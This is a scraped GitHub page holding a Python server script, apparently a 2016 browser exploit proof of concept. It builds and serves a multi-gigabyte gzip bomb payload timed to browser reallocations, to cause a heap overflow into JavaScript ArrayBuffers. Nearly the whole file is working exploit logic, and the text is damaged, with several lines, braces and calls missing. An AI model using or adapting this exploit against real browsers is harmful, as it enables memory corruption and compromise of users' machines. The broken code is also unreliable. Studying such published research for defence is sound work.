Skip to content
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
executable file 150 lines (115 sloc) 4.31 KB
#!/usr/bin/env python3
# Implements the server-side logic of the exloit.
# Copyright (c) 2016 Samuel Groß
import asyncio
import zlib
import os.path
from server import *
HOST = ''
HOST = ''
PORT = 8000
LOOP = asyncio.get_event_loop()
server_done_event = asyncio.Event(loop=LOOP)
script_ready_event = asyncio.Event(loop=LOOP)
KB = 1024
MB = 1024 * KB
GB = 1024 * MB
# Created by construct_payload()
payload_parts = []
def construct_payload():
"""Generates the compressed payload.
This function generates multiple parts of the payload. Concatenating these parts and decompressing
the result will yield a 4GB + len(overflow_data) chunk.
The parts are generated such that sending one chunk will trigger a realloc() in the browser.
The last part contains the final byte of the 4GB chunk and the overflow_data.
compressor = zlib.compressobj(level=1, wbits=31) # include gzip header + trailer
parts = []
def add_part(size):
payload = bytearray()
payload += compressor.compress(bytearray(size))
payload += compressor.flush(zlib.Z_FULL_FLUSH)
return size
# Send (total sizes): 1 MB + 1, 2 MB + 1, 4 MB + 1, ... which are the realloc boundaries.
# After every realloc, JavaScript will try to fill the now free chunk.
# Do this until we've send 0xffffffff bytes of data, then build the final chunk.
total_size = 512 * KB # Start with 1MB (+ 1), browser stores data as char16_t
cur_size = 0
final_size = 0xffffffff
while cur_size < final_size:
cur_size += add_part(total_size + 1 - cur_size)
total_size = min(2 * total_size, final_size - 1)
# UTF-8 for 0xa0, which is the offset of the inline data of the first ArrayBuffer in an arena. See code.js
overflow_data = b'\xc2\xa0' * 2
payload = bytearray()
payload += compressor.compress(b'\x00' + overflow_data)
payload += compressor.flush()
return parts
async def serve_payload_js(request, response):
# (Optional) wait a short while for the browser to finish initialization
await asyncio.sleep(2.5)
payload_len = sum(map(len, payload_parts))
print("Total size of compressed payload: {} bytes".format(payload_len))
assert('gzip' in request.headers.get('Accept-Encoding', ''))
response.send_header(200, {
'Content-Type': 'application/javascript; charset=utf-8',
'Content-Length': str(payload_len),
'Content-Encoding': 'gzip'
for i, part in enumerate(payload_parts[:-1]):
print("Waiting for JavaScript...")
await script_ready_event.wait()
await response.drain()
# Give the browser some time to decompress (more or less arbitrary delays)
# Could try to improve this by measuring CPU usage in JavaScript or something like that...
print("Payload sent, waiting a short while...")
await asyncio.sleep(0.5)
if i > 10:
await asyncio.sleep(2)
# Browser will (hopefully) have realloc'ed the current chunk by now. Let JavaScript
# take the freed chunk now.
print("Waiting for JavaScript...")
# Wait for JavaScript to allocate something to overflow into
await script_ready_event.wait()
# Trigger the overflow
print("Sending remaining payload data...")
await response.drain()
await asyncio.sleep(0.1)
async def sync(request, response):
await server_done_event.wait()
response.send_header(200, {
'Content-Type': 'text/plain; charset=utf-8',
'Content-Length': '2'
await response.drain()
'/': serve_file('index.html', 'text/html; charset=utf-8'),
'/payload.js': serve_payload_js,
'/code.js': serve_file('code.js', 'application/javascript; charset=utf-8'),
'/sync': sync,
# Main
def main():
print("Constructing payload...")
global payload_parts
payload_parts = construct_payload()
if __name__ == '__main__':
You can’t perform that action at this time.